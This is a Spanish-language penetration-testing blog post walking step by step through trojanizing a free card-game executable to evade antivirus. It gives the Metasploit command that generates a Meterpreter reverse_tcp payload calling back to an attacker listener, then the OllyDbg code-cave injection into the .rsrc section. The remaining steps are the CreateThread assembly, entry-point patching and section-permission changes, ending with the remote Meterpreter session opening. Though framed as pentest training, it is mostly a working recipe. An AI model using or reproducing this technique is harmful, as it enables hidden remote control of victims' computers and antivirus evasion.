Una de las habilidades más importantes para un pentester profesional es la capacidad para modificar sus herramientas de tal forma que logren evadir su detección por parte de los sistemas antivirus y otros sistemas de protección de usuario final. Esta habilidad está muy bien desarrollada dentro de los círculos del crimen informático, y por tanto, un servicio de pruebas de penetración que no pueda emular esta capacidad es, en el mejor caso, incompleto por no decir mediocre.

En el
artículo anterior logramos demostrar que nuestro antivirus no es capaz de detectar el payload generado con el encoder defecto de metasploit (shikata_ga_nai). La primera solución descrita fue simplemente usar un ensamblador poco popular, y miramos como nuestro antivirus quedó completamente inutilizado. Sin embargo, no podemos cantar victoria todavía. Esta técnica de evasión una vez empezada a usarse rutinariamente durará a lo sumo 3 días funcionando hasta que los antivirus encuentren aún otro patrón para detectarla. Tal vez unas cuantas semanas porque mi artículo fue escrito en español y pues el undergroung hispanohablante no se compara con el anglosajón, pero el argumento es el mismo.
Ahora, sosteniendo que el payload en sí mismo no es el que está siendo detectado, lo único que necesitamos para hacer un poco más dificil su detección es simplemente embeber su funcionalidad en otro ejecutable. Me hubiera gustado utilizar algo como "stress-reducer-desktop-destroyer.exe" para demostrar esta técnica. Para los que no lo conocen les dejo un screenshot de este programita por demás adictivo:

Pero mi antivirus ya lo detectaba como sospechoso, asi que vence el propósito de mi demostración. En consecuencia, comencé a buscar otros candidatos gratuitos pero todos tenían unos terminos de servicio que prohiben su modificación binaria. Como aquí no condonamos ninguna actividad ilegal o inmoral, decidimos volver nuestra atención a nuestros buenos y fieles amigos del software libre. Nótese sin embargo, que el criminal informático común y corriente no tiene remordimiento ni restricción moral o ética alguna para no aplicar estas mismas técnicas a cualquier programa popular, ya sea un juego, el calc.exe de windows o hasta un programa ilegal de generación de claves. Es por esta razón que es tan importante llevar estos conocimientos al mundo de la seguridad informática y aprender de ellos. En todo caso, la aplicación premiada resulto ser "calculation-1.0.1". Este juego es alguna variación de solitario o algo parecido que tiene que ver con cartas/naipes/etc. Siento un poco de verguenza de ni siquiera haber averiguado de que trata este juego, pero no es primordial para nuestros propositos. Sin embargo, aquí les dejo un screenshot para compensar un poco la indiferencia:

Comenzamos investigando a calculation con cualquier debugger. Para efectos de esta demostración utilizamos el más simple de todos: ollydbg. El primer paso es encontrar un sitio apropiado para alojar nuestro payload. Sitios candidatos son obviamente la sección de código del programa, pero el espacio efectivamente utilizable de esta sección es usualmente muy pequeño. Otra sección posible es la sección de datos. Sin embargo, el uso de esta sección es un trabajo muy delicado pues hay que tener cuidado de no aplastar variables que se supone deberían estar inicializadas en 0 para el funcionamiento del programa. Nuestra mejor opción siempre será la sección de "resources" (.rsrc). Esta sección es normalmente utilizada para agregar los íconos e información miscelanea del programa. Adicionalmente, esta sección es, por lo general, la última sección del ejecutable. Esto significa que si no existe suficiente espacio en ella para nuestro código, siempre es posible agrandar un poco su tamaño en el encabezado PE y luego con un editor hexadecimal agregar 0's a nuestro archivo. Cualquiera sea el caso, hay que verificar que la sección que alojará nuestro código esté marcada con permisos de escritura pues nuestro payload estará reescribiendose a sí mismo. Si, así de bueno es shikata_ga_nai (lol). Para comenzar, abrimos nuestro ejecutable en olly y encontramos nuestra "caverna para código":

En este caso, al abrir calculation con olly y revisar las secciones disponibles nos encontramos con una larga secuencia de 0's en la sección .rsrc. Esta será nuestra "code cave". Apuntamos la primera dirección vacia: 0x0042442D pues la necesitaremos cuando hagamos la llamada a CreateThread. Como siempre, la generación del payload la hacemos con nuestras herramientas de metasploit:
root@bt:~# msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.137.66 LPORT=80 R | msfencode -t raw | xxd -i - > payload.txt
[*] x86/shikata_ga_nai succeeded with size 317 (iteration=1)
root@bt:~#
Y simplemente lo acomodamos con un poco de "search and replace" para eliminar los ", 0x" de tal forma que queden solo los valores hexadecimales para pegarlos en nuestra caverna de código:
da de d9 74 24 f4 58 31 c9 bb 79 ba ... etc.
Olly marca en rojo los cambios hechos al ejecutable que todavia no han sido guardados en disco. En este punto es importante anotar la siguiente dirección vacía despues de nuestro payload: 0x0042456A. El siguiente paso requiere escribir un poquito de assembler. No es nada del otro mundo. Lo único que necesitamos es llamar a la función CreateThread de kernel32.dll con la dirección de nuestro payload. La idea es por supuesto, ejecutar nuestro payload y no interferir con la ejecución de calculation. En otras palabras, mientras nuestro objetivo de penetración esta jugando plácidamente con los naipes, nosotros estamos obteniendo control de su computadora. El código en assembler es simplemente algo como:
push 0x0042456A
push 0,0
push 0x0042442D
push 0,0
call CreateThread
En donde el valor del primer "push" es nuestra primera dirección vacía despues del payload. Esta dirección alojará un parametro de salida de CreateThread. La segunda dirección empujada es simplemente la posición de nuestro payload. El significado de los otros parametros se dejan como ejercicio al lector. En olly, insertamos estas instrucciones asi:
Ahora estamos listos para para modificar el flujo de ejecución del programa. Simplemente anotamos la dirección de nuestro primer push: 0x0042456E y vamos al origen del programa (shortcut *) para anotar las primeras instrucciones originales de calculation:
0040C4D0 > $ 55 PUSH EBP
0040C4D1 . 8BEC MOV EBP,ESP
0040C4D3 . 6A FF PUSH -1
0040C4D5 . 68 F8844100 PUSH calction.004184F8
Algunas de estas instrucciones tendremos que copiarlas de regreso a calculation dentro de nuestra caverna de código. Esto es con la idea de reanudar su ejecución normal despues de crear nuestro thread con el payload. La modificación que es necesaria aquí es más que evidente. Simplemente tenemos que reescribir la primera instrucción con un jmp a la dirección de nuestro primer push: 0x0042456E. La modificación queda de esta forma:
Con esta modificación, lo primero que se hará al iniciar este ejecutable es saltar a nuestra caverna de código y empezar a empujar los parametros de CreateThread. Es evidente que nuestra modificación ha eliminado las primeras 3 instrucciones originales del ejecutable. Estas instrucciones hay que volverlas a colocar en nuestra caverna de código despues de llamar a CreateThread y luego hacer el salto de regreso a la dirección que no fue modificada: 0x0040C4D5. Esta modificación se ve como sigue:

Listo! Seleccionamos todo el código modificado, click derecho->copy to executable->Selection, y en la ventana de dump, de nuevo, click derecho->save to file, y guardamos nuestro ejecutable modificado con un nombre distinto. Es importante repetir este procedimiento para la modificación del punto de origen también despues de abrir nuestro ejecutable recien guardado.En este punto estamos casi listos. Sólo hace falta una última modificación. Como recordaremos, nuestro código se encuentra en la sección .rsrc. Como nuestro payload se modifica a sí mismo mientras se ejecuta, es importante que la sección .rsrc tenga permisos de escritura. Para tal fin, simplemente vamos al encabezado PE en olly, y modificamos el valor de "caracteristicas" de la sección resources de esta forma:
Como siempre de nuevo guardar nuestro cambios y listo!. Así es como queda nuestra modificación:
C:\Documents and Settings\winxp\Escritorio>dir calction.exe
El volumen de la unidad C no tiene etiqueta.
El número de serie del volumen es: 28F8-C6FD
Directorio de C:\Documents and Settings\winxp\Escritorio
13/06/2002 17:48 128.000 calction.exe
1 archivos 128.000 bytes
0 dirs 32.210.063.360 bytes libres
C:\Documents and Settings\winxp\Escritorio>dir calction-post.exe
El volumen de la unidad C no tiene etiqueta.
El número de serie del volumen es: 28F8-C6FD
Directorio de C:\Documents and Settings\winxp\Escritorio
05/06/2011 11:42 128.000 calction-post.exe
1 archivos 128.000 bytes
0 dirs 32.210.063.360 bytes libres
C:\Documents and Settings\winxp\Escritorio>
Los dos ejecutables tienen el mismo tamaño y si ejecutáramos el calculation modificado, no veriamos ninguna diferencia con respecto al original:
Sin embargo, de regreso en nuestra consola de metasploit:
[*] Sending stage (749056 bytes) to 192.168.137.67
[*] Meterpreter session 16 opened (192.168.137.66:80 -> 192.168.137.67:4543) at 2011-06-05 15:12:26 -0400
meterpreter>

Esta técnica es bastante efectiva, sin embargo, tiene algunos inconvenientes. Las llamadas a las funciones y saltos dentro del ejecutable que hemos hecho utilizan direcciones fijas. Esto significa que nuestra modificación del ejecutable sólo funcionará cuando calculation sea mapeado en memoria de la forma que fue mapeado en mi sistema de prueba. Esto quiere decir, distintas versiones de sistema operativo, o tecnologías como ASRL podrían hacer que nuestro calculation troyanizado dejara de funcionar. Adicionalmente, como nuestro payload se ejecuta dentro de un hilo de ejecución de calculation, cuando nuestro objetivo se canse de jugar a los naipes y cierre nuestro programa, la conexion de nuestro payload también morirá. Este último problema puede resolverse configurando un script de autoejecución en metasploit. Sin embargo, para solucionar el primer problema es necesario programar un poquito más de assembler y conjurar algo más de magia para hacer a nuestro troyano un programa completamente relocalizable. Este técnica será el tema de nuestro siguiente artículo de esta serie. Mantenerse en sintonía.